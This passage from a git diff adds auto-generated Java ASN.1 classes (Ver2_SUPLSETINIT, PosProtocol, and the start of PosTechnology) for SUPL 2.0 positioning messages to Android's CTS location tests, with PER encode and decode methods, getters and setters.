+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_set_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.QoP;
+import android.location.cts.asn1.supl2.ulp_components.SETId;
+import android.location.cts.asn1.supl2.ver2_ulp_components.ApplicationID;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Ver2_SUPLSETINIT extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Ver2_SUPLSETINIT
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Ver2_SUPLSETINIT() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Ver2_SUPLSETINIT;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Ver2_SUPLSETINIT != null) {
+ return ImmutableList.of(TAG_Ver2_SUPLSETINIT);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Ver2_SUPLSETINIT from encoded stream.
+ */
+ public static Ver2_SUPLSETINIT fromPerUnaligned(byte[] encodedBytes) {
+ Ver2_SUPLSETINIT result = new Ver2_SUPLSETINIT();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Ver2_SUPLSETINIT from encoded stream.
+ */
+ public static Ver2_SUPLSETINIT fromPerAligned(byte[] encodedBytes) {
+ Ver2_SUPLSETINIT result = new Ver2_SUPLSETINIT();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SETId targetSETID_;
+ public SETId getTargetSETID() {
+ return targetSETID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SETId
+ */
+ public void setTargetSETID(Asn1Object value) {
+ this.targetSETID_ = (SETId) value;
+ }
+ public SETId setTargetSETIDToNewInstance() {
+ targetSETID_ = new SETId();
+ return targetSETID_;
+ }
+
+ private QoP qoP_;
+ public QoP getQoP() {
+ return qoP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a QoP
+ */
+ public void setQoP(Asn1Object value) {
+ this.qoP_ = (QoP) value;
+ }
+ public QoP setQoPToNewInstance() {
+ qoP_ = new QoP();
+ return qoP_;
+ }
+
+ private ApplicationID applicationID_;
+ public ApplicationID getApplicationID() {
+ return applicationID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ApplicationID
+ */
+ public void setApplicationID(Asn1Object value) {
+ this.applicationID_ = (ApplicationID) value;
+ }
+ public ApplicationID setApplicationIDToNewInstance() {
+ applicationID_ = new ApplicationID();
+ return applicationID_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTargetSETID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTargetSETID();
+ }
+
+ @Override public void setToNewInstance() {
+ setTargetSETIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETId.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "targetSETID : "
+ + getTargetSETID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getQoP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQoP();
+ }
+
+ @Override public void setToNewInstance() {
+ setQoPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? QoP.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "qoP : "
+ + getQoP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getApplicationID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApplicationID();
+ }
+
+ @Override public void setToNewInstance() {
+ setApplicationIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "applicationID : "
+ + getApplicationID().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLSETINIT = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java
new file mode 100755
index 0000000..8a05c5cf
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosProtocol.java
@@ -0,0 +1,643 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_PosProtocol_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosProtocol extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosProtocol
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosProtocol() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosProtocol;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosProtocol != null) {
+ return ImmutableList.of(TAG_PosProtocol);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosProtocol from encoded stream.
+ */
+ public static PosProtocol fromPerUnaligned(byte[] encodedBytes) {
+ PosProtocol result = new PosProtocol();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosProtocol from encoded stream.
+ */
+ public static PosProtocol fromPerAligned(byte[] encodedBytes) {
+ PosProtocol result = new PosProtocol();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosProtocol.tia801Type tia801_;
+ public PosProtocol.tia801Type getTia801() {
+ return tia801_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocol.tia801Type
+ */
+ public void setTia801(Asn1Object value) {
+ this.tia801_ = (PosProtocol.tia801Type) value;
+ }
+ public PosProtocol.tia801Type setTia801ToNewInstance() {
+ tia801_ = new PosProtocol.tia801Type();
+ return tia801_;
+ }
+
+ private PosProtocol.rrlpType rrlp_;
+ public PosProtocol.rrlpType getRrlp() {
+ return rrlp_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocol.rrlpType
+ */
+ public void setRrlp(Asn1Object value) {
+ this.rrlp_ = (PosProtocol.rrlpType) value;
+ }
+ public PosProtocol.rrlpType setRrlpToNewInstance() {
+ rrlp_ = new PosProtocol.rrlpType();
+ return rrlp_;
+ }
+
+ private PosProtocol.rrcType rrc_;
+ public PosProtocol.rrcType getRrc() {
+ return rrc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocol.rrcType
+ */
+ public void setRrc(Asn1Object value) {
+ this.rrc_ = (PosProtocol.rrcType) value;
+ }
+ public PosProtocol.rrcType setRrcToNewInstance() {
+ rrc_ = new PosProtocol.rrcType();
+ return rrc_;
+ }
+
+
+
+ private Ver2_PosProtocol_extension extensionVer2_PosProtocol_extension;
+ public Ver2_PosProtocol_extension getExtensionVer2_PosProtocol_extension() {
+ return extensionVer2_PosProtocol_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_PosProtocol_extension
+ */
+ public void setExtensionVer2_PosProtocol_extension(Asn1Object value) {
+ extensionVer2_PosProtocol_extension = (Ver2_PosProtocol_extension) value;
+ }
+ public void setExtensionVer2_PosProtocol_extensionToNewInstance() {
+ extensionVer2_PosProtocol_extension = new Ver2_PosProtocol_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getTia801() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTia801();
+ }
+
+ @Override public void setToNewInstance() {
+ setTia801ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocol.tia801Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tia801 : "
+ + getTia801().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRrlp() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRrlp();
+ }
+
+ @Override public void setToNewInstance() {
+ setRrlpToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocol.rrlpType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rrlp : "
+ + getRrlp().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRrc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRrc();
+ }
+
+ @Override public void setToNewInstance() {
+ setRrcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosProtocol.rrcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rrc : "
+ + getRrc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_PosProtocol_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_PosProtocol_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_PosProtocol_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_PosProtocol_extension : "
+ + getExtensionVer2_PosProtocol_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tia801Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_tia801Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tia801Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tia801Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tia801Type != null) {
+ return ImmutableList.of(TAG_tia801Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tia801Type from encoded stream.
+ */
+ public static tia801Type fromPerUnaligned(byte[] encodedBytes) {
+ tia801Type result = new tia801Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tia801Type from encoded stream.
+ */
+ public static tia801Type fromPerAligned(byte[] encodedBytes) {
+ tia801Type result = new tia801Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tia801Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rrlpType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_rrlpType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rrlpType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rrlpType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rrlpType != null) {
+ return ImmutableList.of(TAG_rrlpType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rrlpType from encoded stream.
+ */
+ public static rrlpType fromPerUnaligned(byte[] encodedBytes) {
+ rrlpType result = new rrlpType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rrlpType from encoded stream.
+ */
+ public static rrlpType fromPerAligned(byte[] encodedBytes) {
+ rrlpType result = new rrlpType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rrlpType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rrcType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_rrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rrcType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rrcType != null) {
+ return ImmutableList.of(TAG_rrcType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rrcType from encoded stream.
+ */
+ public static rrcType fromPerUnaligned(byte[] encodedBytes) {
+ rrcType result = new rrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rrcType from encoded stream.
+ */
+ public static rrcType fromPerAligned(byte[] encodedBytes) {
+ rrcType result = new rrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rrcType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosProtocol = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java
new file mode 100755
index 0000000..dad0d52
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_start/PosTechnology.java
@@ -0,0 +1,1199 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions.Ver2_PosTechnology_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosTechnology extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosTechnology
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosTechnology() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosTechnology;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosTechnology != null) {
+ return ImmutableList.of(TAG_PosTechnology);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosTechnology from encoded stream.
+ */
+ public static PosTechnology fromPerUnaligned(byte[] encodedBytes) {
+ PosTechnology result = new PosTechnology();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosTechnology from encoded stream.
+ */
+ public static PosTechnology fromPerAligned(byte[] encodedBytes) {
+ PosTechnology result = new PosTechnology();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosTechnology.agpsSETassistedType agpsSETassisted_;
+ public PosTechnology.agpsSETassistedType getAgpsSETassisted() {
+ return agpsSETassisted_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.agpsSETassistedType
+ */
+ public void setAgpsSETassisted(Asn1Object value) {
+ this.agpsSETassisted_ = (PosTechnology.agpsSETassistedType) value;
+ }
+ public PosTechnology.agpsSETassistedType setAgpsSETassistedToNewInstance() {
+ agpsSETassisted_ = new PosTechnology.agpsSETassistedType();
+ return agpsSETassisted_;
+ }
+
+ private PosTechnology.agpsSETBasedType agpsSETBased_;
+ public PosTechnology.agpsSETBasedType getAgpsSETBased() {
+ return agpsSETBased_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.agpsSETBasedType
+ */
+ public void setAgpsSETBased(Asn1Object value) {
+ this.agpsSETBased_ = (PosTechnology.agpsSETBasedType) value;
+ }
+ public PosTechnology.agpsSETBasedType setAgpsSETBasedToNewInstance() {
+ agpsSETBased_ = new PosTechnology.agpsSETBasedType();
+ return agpsSETBased_;
+ }
+
+ private PosTechnology.autonomousGPSType autonomousGPS_;
+ public PosTechnology.autonomousGPSType getAutonomousGPS() {
+ return autonomousGPS_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.autonomousGPSType
+ */
+ public void setAutonomousGPS(Asn1Object value) {
+ this.autonomousGPS_ = (PosTechnology.autonomousGPSType) value;
+ }
+ public PosTechnology.autonomousGPSType setAutonomousGPSToNewInstance() {
+ autonomousGPS_ = new PosTechnology.autonomousGPSType();
+ return autonomousGPS_;
+ }
+
+ private PosTechnology.aFLTType aFLT_;
+ public PosTechnology.aFLTType getAFLT() {
+ return aFLT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.aFLTType
+ */
+ public void setAFLT(Asn1Object value) {
+ this.aFLT_ = (PosTechnology.aFLTType) value;
+ }
+ public PosTechnology.aFLTType setAFLTToNewInstance() {
+ aFLT_ = new PosTechnology.aFLTType();
+ return aFLT_;
+ }
+
+ private PosTechnology.eCIDType eCID_;
+ public PosTechnology.eCIDType getECID() {
+ return eCID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.eCIDType
+ */
+ public void setECID(Asn1Object value) {
+ this.eCID_ = (PosTechnology.eCIDType) value;
+ }
+ public PosTechnology.eCIDType setECIDToNewInstance() {
+ eCID_ = new PosTechnology.eCIDType();
+ return eCID_;
+ }
+
+ private PosTechnology.eOTDType eOTD_;
+ public PosTechnology.eOTDType getEOTD() {
+ return eOTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.eOTDType
+ */
+ public void setEOTD(Asn1Object value) {
+ this.eOTD_ = (PosTechnology.eOTDType) value;
+ }
+ public PosTechnology.eOTDType setEOTDToNewInstance() {
+ eOTD_ = new PosTechnology.eOTDType();
+ return eOTD_;
+ }
+
+ private PosTechnology.oTDOAType oTDOA_;
+ public PosTechnology.oTDOAType getOTDOA() {
+ return oTDOA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosTechnology.oTDOAType
+ */
+ public void setOTDOA(Asn1Object value) {
+ this.oTDOA_ = (PosTechnology.oTDOAType) value;
+ }
+ public PosTechnology.oTDOAType setOTDOAToNewInstance() {
+ oTDOA_ = new PosTechnology.oTDOAType();
+ return oTDOA_;
+ }
+
+
+
+ private Ver2_PosTechnology_extension extensionVer2_PosTechnology_extension;
+ public Ver2_PosTechnology_extension getExtensionVer2_PosTechnology_extension() {
+ return extensionVer2_PosTechnology_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_PosTechnology_extension
+ */
+ public void setExtensionVer2_PosTechnology_extension(Asn1Object value) {
+ extensionVer2_PosTechnology_extension = (Ver2_PosTechnology_extension) value;
+ }
+ public void setExtensionVer2_PosTechnology_extensionToNewInstance() {
+ extensionVer2_PosTechnology_extension = new Ver2_PosTechnology_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAgpsSETassisted() != null;
+ }
+
